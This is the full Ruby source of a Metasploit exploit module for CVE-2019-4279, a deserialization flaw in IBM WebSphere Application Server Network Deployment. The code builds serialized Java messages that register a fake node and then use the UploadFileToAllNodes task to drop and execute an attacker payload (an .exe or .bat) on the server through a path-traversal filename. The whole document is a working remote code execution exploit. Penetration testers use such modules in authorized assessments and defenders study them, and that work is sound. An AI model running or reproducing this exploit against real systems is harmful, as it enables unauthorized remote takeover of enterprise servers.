##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Powershell
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'IBM Websphere Application Server Network Deployment Untrusted Data Deserialization Remote Code Execution',
        'Description' => %q{
          This module exploits untrusted serialized data processed by the WAS DMGR Server and Cells.
          NOTE: There is a required 2 minute timeout between attempts as the neighbor being added must be reset.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'b0yd' # @rwincey of [Securifera](https://www.securifera.com/) / Vulnerability Discovery and MSF module author
        ],
        'References' => [
          ['CVE', '2019-4279'],
          ['URL', 'https://www-01.ibm.com/support/docview.wss?uid=ibm10883628']
        ],
        'Targets' => [
          [
            'Windows Binary', {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Platform' => 'win'
            }
          ],
          [
            'CMD', {
              'Arch' => ARCH_CMD,
              'Platform' => 'win',
              'Payload' => { 'Compat' => { 'RequiredCmd' => 'generic' } }
            }
          ]
        ],
        'Privileged' => true,
        'DefaultTarget' => 0,
        'DisclosureDate' => '2019-05-15',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(11006), # 11002,11004,11006,etc
        OptBool.new('SSL', [true, 'Negotiate SSL/TLS', true]),
        OptRaw.new('SSLVersion', [true, 'Default Version for WASND ', 'SSLv3']),
        OptRaw.new('SSLVerifyMode', [true, 'SSL verification method', 'CLIENT_ONCE']),
        OptString.new('SSLCipher', [true, 'SSL Cipher string ', 'ALL'])
      ]
    )
  end

  def cleanup
    disconnect
    print_status('Disconnected from IBM Websphere DMGR.')
    super
  end

  def exploit
    command = nil

    if target.name == 'CMD'
      fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") unless datastore['CMD']
      command = datastore['CMD']
    end
    # Connect to IBM Websphere Application Server
    connect
    print_status('Connected to IBM WAS DMGR.')

    node_port = datastore['RPORT']

    # Send packet to add neighbor
    enc_stream = construct_tcp_node_msg(node_port)
    send_msg(enc_stream)

    sock.get_once
    print_status('Server responded')

    # Generate binary name
    bin_name = rand_text_alpha(8)

    if command
      command = datastore['CMD']
      payload_contents = command.to_s
      print_status('Executing command: ' + payload_contents)
      bin_name << '.bat'
    else
      payload_contents = generate_payload_exe(code: payload.generate)
      bin_name << '.exe'
    end

    print_status("Sending payload: #{bin_name}")
    enc_stream = construct_bcast_task_msg(node_port, '..\\..\\..\\' + bin_name, payload_contents, bin_name)
    send_msg(enc_stream)
    register_file_for_cleanup(bin_name)
  end

  def send_msg(enc_stream)
    pkt = [0x396fb74a].pack('N')
    pkt += [enc_stream.length + 1].pack('N')
    pkt += "\x00"
    pkt += enc_stream

    # Send msg
    sock.put(pkt)
  end

  def construct_tcp_node_msg(node_port)
    p2p_obj = Rex::Java::Serialization::Model::NewObject.new
    p2p_obj.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
    p2p_obj.class_desc.description = build_p2p_node_class(p2p_obj)

    # Create the obj
    object = Rex::Java::Serialization::Model::NewObject.new
    object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
    object.class_desc.description = build_tcp_node_msg(object, 12, '0.0.0.0', node_port, p2p_obj)

    # Create the stream and add the object
    stream = Rex::Java::Serialization::Model::Stream.new
    stream.contents = []
    stream.contents << object
    stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
    stream.contents << Rex::Java::Serialization::Model::NullReference.new
    stream.encode
  end

  def construct_bcast_task_msg(node_port, filename, byte_str, cmd)
    # Add upload file argument
    byte_arr = byte_str.unpack('C*')
    upfile_arg_obj = build_upfile_arg_class(filename, byte_arr, cmd)

    # Create the obj
    object = Rex::Java::Serialization::Model::NewObject.new
    object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
    object.class_desc.description = build_bcast_run_task_msg(object, 41, '0.0.0.0', node_port, upfile_arg_obj)

    # Create the stream and add the object
    stream = Rex::Java::Serialization::Model::Stream.new
    stream.contents = []
    stream.contents << object
    stream.encode
  end

  def build_message(obj, msg_id, msg_type, orig_cell_field_type)
    # Create the integer field and add the reference
    id_field = Rex::Java::Serialization::Model::Field.new
    id_field.type = 'int'
    id_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'ID')

    # Create the integer field and add the reference
    type_field = Rex::Java::Serialization::Model::Field.new
    type_field.type = 'int'
    type_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'type')

    # Create the object field and add the reference
    new_field = Rex::Java::Serialization::Model::Field.new
    new_field.type = 'object'
    new_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'originatingCell')
    new_field.field_type = orig_cell_field_type

    # Create the class description
    msg_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
    msg_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'com.ibm.son.mesh.Message')
    msg_class_desc.serial_version = 1
    msg_class_desc.flags = 2
    msg_class_desc.fields = []
    msg_class_desc.fields << id_field
    msg_class_desc.fields << type_field
    msg_class_desc.fields << new_field

    # Add annotations
    msg_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
    msg_class_desc.class_annotation.contents = [Rex::Java::Serialization::Model::EndBlockData.new]

    # Add superclass
    msg_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
    msg_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new

    # Set the member values
    obj.class_data << ['int', msg_id]
    obj.class_data << ['int', msg_type]
    obj.class_data << Rex::Java::Serialization::Model::NullReference.new

    msg_class_desc
  end

  def build_bcast_flood_msg(obj, msg_type, source_ip, source_port)
    prng = Random.new
    msg_id = prng.rand(4294967295)

    # Create the field ref
    field_ref = Rex::Java::Serialization::Model::Reference.new
    field_ref.handle = Rex::Java::Serialization::BASE_WIRE_HANDLE + 1

    msg_obj = build_message(obj, msg_id, msg_type, field_ref)

    # Create the integer field and add the reference
    id_field = Rex::Java::Serialization::Model::Field.new
    id_field.type = 'int'
    id_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'sourceMsgID')

    # Create the integer field and add the reference
    port_field = Rex::Java::Serialization::Model::Field.new
    port_field.type = 'int'
    port_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'sourceUdpPort')

    # Create the object field and add the reference
    ip_arr_field = Rex::Java::Serialization::Model::Field.new
    ip_arr_field.type = 'array'
    ip_arr_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'sourceIP')
    ip_arr_field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, '[B')

    # Create the class description
    msg_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
    msg_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'com.ibm.son.mesh.BcastFloodMsg')
    msg_class_desc.serial_version = 1
    msg_class_desc.flags = 2
    msg_class_desc.fields = []
    msg_class_desc.fields << id_field
    msg_class_desc.fields << port_field
    msg_class_desc.fields << ip_arr_field

    # Add annotations
    msg_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
    msg_class_desc.class_annotation.contents = [Rex::Java::Serialization::Model::EndBlockData.new]

    # Add superclass
    msg_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
    msg_class_desc.super_class.description = msg_obj

    # Construct IP Array
    ip_arr = source_ip.split('.').map(&:to_i)
    builder = Rex::Java::Serialization::Builder.new
    values_array = builder.new_array(
      values_type: 'byte',
      values: ip_arr,
      name: '[B',
      serial: 0x42acf317f8060854e0,
      annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
    )

    # Set the member values
    obj.class_data << ['int', msg_id]
    obj.class_data << ['int', source_port]
    obj.class_data << values_array

    msg_class_desc
  end

  def build_tcp_node_msg(obj, msg_type, source_ip, source_port, p2p_obj)
    prng = Random.new
    msg_id = prng.rand(4294967295)

    # Create the field type for the origCell
    field_type = Rex::Java::Serialization::Model::Utf.new(nil, 'Ljava/lang/String;')
    msg_obj = build_message(obj, msg_id, msg_type, field_type)

    # Create the port field and add the reference
    boot_time_field = Rex::Java::Serialization::Model::Field.new
    boot_time_field.type = 'long'
    boot_time_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'bootTime')

    # Create the port field and add the reference
    tcp_port_field = Rex::Java::Serialization::Model::Field.new
    tcp_port_field.type = 'int'
    tcp_port_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'tcpPort')

    # Create the port field and add the reference
    udp_port_field = Rex::Java::Serialization::Model::Field.new
    udp_port_field.type = 'int'
    udp_port_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'udpPort')

    # Create the object field and add the reference
    ip_arr_field = Rex::Java::Serialization::Model::Field.new
    ip_arr_field.type = 'array'
    ip_arr_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'ip')
    ip_arr_field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, '[B')

    # Create the task object field and add field_type
    node_prop_field = Rex::Java::Serialization::Model::Field.new
    node_prop_field.type = 'object'
    node_prop_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'nodeProperty')
    node_prop_field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, 'Lcom/ibm/son/mesh/AppLevelNodeProperty;')

    # Create the class description
    msg_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
    msg_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'com.ibm.son.mesh.TcpNodeMessage')
    msg_class_desc.serial_version = 1
    msg_class_desc.flags = 2
    msg_class_desc.fields = []
    msg_class_desc.fields << boot_time_field
    msg_class_desc.fields << tcp_port_field
    msg_class_desc.fields << udp_port_field
    msg_class_desc.fields << ip_arr_field
    msg_class_desc.fields << node_prop_field

    # Add annotations
    msg_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
    msg_class_desc.class_annotation.contents = [Rex::Java::Serialization::Model::EndBlockData.new]

    # Add superclass
    msg_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
    msg_class_desc.super_class.description = msg_obj

    # Construct IP Array
    ip_arr = source_ip.split('.').map(&:to_i)
    builder = Rex::Java::Serialization::Builder.new
    values_array = builder.new_array(
      values_type: 'byte',
      values: ip_arr,
      name: '[B',
      serial: 0x42acf317f8060854e0,
      annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
    )

    # Set the member values
    obj.class_data << ['long', 0]
    obj.class_data << ['int', source_port]
    obj.class_data << ['int', source_port]
    obj.class_data << values_array
    obj.class_data << p2p_obj

    msg_class_desc
  end

  def build_app_node_class(obj)
    # Create the structured gateway field and add the reference
    struct_bool_field = Rex::Java::Serialization::Model::Field.new
    struct_bool_field.type = 'boolean'
    struct_bool_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'structuredGateway')

    # Create the version field and add the reference
    version_field = Rex::Java::Serialization::Model::Field.new
    version_field.type = 'int'
    version_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'version')

    # Create the object field and add the reference
    bridge_field = Rex::Java::Serialization::Model::Field.new
    bridge_field.type = 'object'
    bridge_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'bridgedCellsList')
    bridge_field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, 'Ljava/util/List;')

    # Create the field ref
    field_ref = Rex::Java::Serialization::Model::Reference.new
    field_ref.handle = Rex::Java::Serialization::BASE_WIRE_HANDLE + 4

    # Create the cellname field and add the reference
    cellname_field = Rex::Java::Serialization::Model::Field.new
    cellname_field.type = 'object'
    cellname_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'cellName')
    cellname_field.field_type = field_ref

    # Create the class description
    msg_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
    msg_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'com.ibm.son.mesh.AppLevelNodeProperty')
    msg_class_desc.serial_version = 1
    msg_class_desc.flags = 2
    msg_class_desc.fields = []
    msg_class_desc.fields << struct_bool_field
    msg_class_desc.fields << version_field
    msg_class_desc.fields << bridge_field
    msg_class_desc.fields << cellname_field

    # Add annotations
    msg_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
    msg_class_desc.class_annotation.contents = [Rex::Java::Serialization::Model::EndBlockData.new]

    # Add superclass
    msg_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
    msg_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new

    # Set the member values
    obj.class_data << ['boolean', 0]
    obj.class_data << ['int', 0]
    obj.class_data << Rex::Java::Serialization::Model::NullReference.new
    obj.class_data << Rex::Java::Serialization::Model::Utf.new(nil, rand(0xffffffffffff).to_s) # Cell Name

    msg_class_desc
  end

  def build_hashtable_class(obj)
    # Create the integer field and add the reference
    load_field = Rex::Java::Serialization::Model::Field.new
    load_field.type = 'float'
    load_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'loadFactor')

    # Create the integer field and add the reference
    threshold_field = Rex::Java::Serialization::Model::Field.new
    threshold_field.type = 'int'
    threshold_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'threshold')

    # Create the class description
    msg_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
    msg_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.util.Hashtable')
    msg_class_desc.serial_version = 0x13BB0F25214AE4B8
    msg_class_desc.flags = 3
    msg_class_desc.fields = []
    msg_class_desc.fields << load_field
    msg_class_desc.fields << threshold_field

    # Add annotations
    msg_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
    msg_class_desc.class_annotation.contents = [Rex::Java::Serialization::Model::EndBlockData.new]

    # Add superclass
    msg_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
    msg_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new

    obj.class_data << ['float', 0.75]
    obj.class_data << ['int', 8]
    obj.class_data << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x0b\x00\x00\x00\x03")

    msg_class_desc
  end

  def build_properties_class
    # Create the object
    object = Rex::Java::Serialization::Model::NewObject.new
    object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new

    msg_obj = build_hashtable_class(object)

    # Create the field ref
    field_ref = Rex::Java::Serialization::Model::Reference.new
    field_ref.handle = Rex::Java::Serialization::BASE_WIRE_HANDLE + 9

    # Create the integer field and add the reference
    defaults_field = Rex::Java::Serialization::Model::Field.new
    defaults_field.type = 'object'
    defaults_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'defaults')
    defaults_field.field_type = field_ref

    # Create the class description
    msg_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
    msg_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.util.Properties')
    msg_class_desc.serial_version = 0x3912D07A70363E98
    msg_class_desc.flags = 2
    msg_class_desc.fields = []
    msg_class_desc.fields << defaults_field

    # Add annotations
    msg_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
    msg_class_desc.class_annotation.contents = [Rex::Java::Serialization::Model::EndBlockData.new]

    # Add superclass
    msg_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
    msg_class_desc.super_class.description = msg_obj

    # Set the member values
    object.class_desc.description = msg_class_desc

    object.class_data << Rex::Java::Serialization::Model::Utf.new(nil, 'memberName')
    object.class_data << Rex::Java::Serialization::Model::Utf.new(nil, rand(0xffffffffffff).to_s) # Cell Name
    object.class_data << Rex::Java::Serialization::Model::Utf.new(nil, 'inOdc')
    object.class_data << Rex::Java::Serialization::Model::Utf.new(nil, '0')
    object.class_data << Rex::Java::Serialization::Model::Utf.new(nil, 'epoch')
    object.class_data << Rex::Java::Serialization::Model::Utf.new(nil, (Time.now.to_f * 1000).to_i.to_s)

    object
  end

  def build_p2p_node_class(obj)
    msg_obj = build_app_node_class(obj)

    # Create the field ref
    field_ref = Rex::Java::Serialization::Model::Reference.new
    field_ref.handle = Rex::Java::Serialization::BASE_WIRE_HANDLE + 1

    # Create the data field and add the reference
    data_field = Rex::Java::Serialization::Model::Field.new
    data_field.type = 'array'
    data_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'data')
    data_field.field_type = field_ref

    # Create the object field and add the reference
    prop_field = Rex::Java::Serialization::Model::Field.new
    prop_field.type = 'object'
    prop_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'properties')
    prop_field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, 'Ljava/util/Properties;')

    # Create the class description
    msg_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
    msg_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'com.ibm.ws.wsgroup.p2p.P2PShimNodeProperty')
    msg_class_desc.serial_version = 2
    msg_class_desc.flags = 2
    msg_class_desc.fields = []
    msg_class_desc.fields << data_field
    msg_class_desc.fields << prop_field

    # Add annotations
    msg_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
    msg_class_desc.class_annotation.contents = [Rex::Java::Serialization::Model::EndBlockData.new]

    # Add superclass
    msg_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
    msg_class_desc.super_class.description = msg_obj

    # Create the byte array ref
    field_ref = Rex::Java::Serialization::Model::Reference.new
    field_ref.handle = Rex::Java::Serialization::BASE_WIRE_HANDLE + 6

    # Construct IP Array
    byte_array = Rex::Java::Serialization::Model::NewArray.new
    byte_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
    byte_array.array_description.description = field_ref
    byte_array.type = 'byte'
    byte_array.values = []

    # Set the member values
    obj.class_data << byte_array

    # Add properties
    obj.class_data << build_properties_class

    msg_class_desc
  end

  def build_upfile_arg_class(filename, bytes, cmd)
    # Create the field ref
    field_ref = Rex::Java::Serialization::Model::Reference.new
    field_ref.handle = Rex::Java::Serialization::BASE_WIRE_HANDLE + 1

    # Create the integer field and add the reference
    filename_field = Rex::Java::Serialization::Model::Field.new
    filename_field.type = 'object'
    filename_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'fileName')
    filename_field.field_type = field_ref

    # Create the field ref
    field_ref = Rex::Java::Serialization::Model::Reference.new
    field_ref.handle = Rex::Java::Serialization::BASE_WIRE_HANDLE + 4

    # Create the integer field and add the reference
    filebody_field = Rex::Java::Serialization::Model::Field.new
    filebody_field.type = 'array'
    filebody_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'fileBody')
    filebody_field.field_type = field_ref

    # Create the field ref
    field_ref = Rex::Java::Serialization::Model::Reference.new
    field_ref.handle = Rex::Java::Serialization::BASE_WIRE_HANDLE + 1

    # Create the object field and add the reference
    post_cmd_field = Rex::Java::Serialization::Model::Field.new
    post_cmd_field.type = 'object'
    post_cmd_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'postProcCmd')
    post_cmd_field.field_type = field_ref

    # Create the class description
    msg_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
    msg_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'com.ibm.son.plugin.UploadFileArgument')
    msg_class_desc.serial_version = 1
    msg_class_desc.flags = 2
    msg_class_desc.fields = []
    msg_class_desc.fields << filebody_field
    msg_class_desc.fields << filename_field
    msg_class_desc.fields << post_cmd_field

    # Add annotations
    msg_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
    msg_class_desc.class_annotation.contents = [Rex::Java::Serialization::Model::EndBlockData.new]

    # Add superclass
    msg_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
    msg_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new

    # Create the byte array ref
    field_ref = Rex::Java::Serialization::Model::Reference.new
    field_ref.handle = Rex::Java::Serialization::BASE_WIRE_HANDLE + 7

    # Construct IP Array
    byte_array = Rex::Java::Serialization::Model::NewArray.new
    byte_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
    byte_array.array_description.description = field_ref
    byte_array.type = 'byte'
    byte_array.values = bytes

    # Set the member values
    object = Rex::Java::Serialization::Model::NewObject.new
    object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
    object.class_desc.description = msg_class_desc
    object.class_data << byte_array
    object.class_data << Rex::Java::Serialization::Model::Utf.new(nil, filename)
    object.class_data << Rex::Java::Serialization::Model::Utf.new(nil, cmd)

    object
  end

  def build_bcast_run_task_msg(obj, msg_type, source_ip, source_port, upfile_arg_obj)
    msg_obj = build_bcast_flood_msg(obj, msg_type, source_ip, source_port)

    # Create the integer field and add the reference
    out_int_field = Rex::Java::Serialization::Model::Field.new
    out_int_field.type = 'int'
    out_int_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'outputGatherInterval')

    # Create the task object field and add field_type
    task_field = Rex::Java::Serialization::Model::Field.new
    task_field.type = 'object'
    task_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'task')
    task_field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, 'Ljava/lang/String;')

    # Create the task object field and add field_type
    task_arg_field = Rex::Java::Serialization::Model::Field.new
    task_arg_field.type = 'object'
    task_arg_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'taskArgument')
    task_arg_field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, 'Ljava/io/Serializable;')

    # Create the integer field and add the reference
    forward_gather_field = Rex::Java::Serialization::Model::Field.new
    forward_gather_field.type = 'int'
    forward_gather_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'forwardGatheredDataPipelinePeriod')

    # Create the class description
    msg_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
    msg_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'com.ibm.son.plugin.BcastMsgRunTask')
    msg_class_desc.serial_version = 1
    msg_class_desc.flags = 2
    msg_class_desc.fields = []
    msg_class_desc.fields << forward_gather_field
    msg_class_desc.fields << out_int_field
    msg_class_desc.fields << task_field
    msg_class_desc.fields << task_arg_field

    # Add annotations
    msg_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
    msg_class_desc.class_annotation.contents = [Rex::Java::Serialization::Model::EndBlockData.new]

    # Add superclass
    msg_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
    msg_class_desc.super_class.description = msg_obj

    # Set the member values
    obj.class_data << ['int', 0]
    obj.class_data << ['int', 1]
    obj.class_data << Rex::Java::Serialization::Model::Utf.new(nil, 'com.ibm.son.plugin.UploadFileToAllNodes')
    obj.class_data << upfile_arg_obj

    msg_class_desc
  end
end
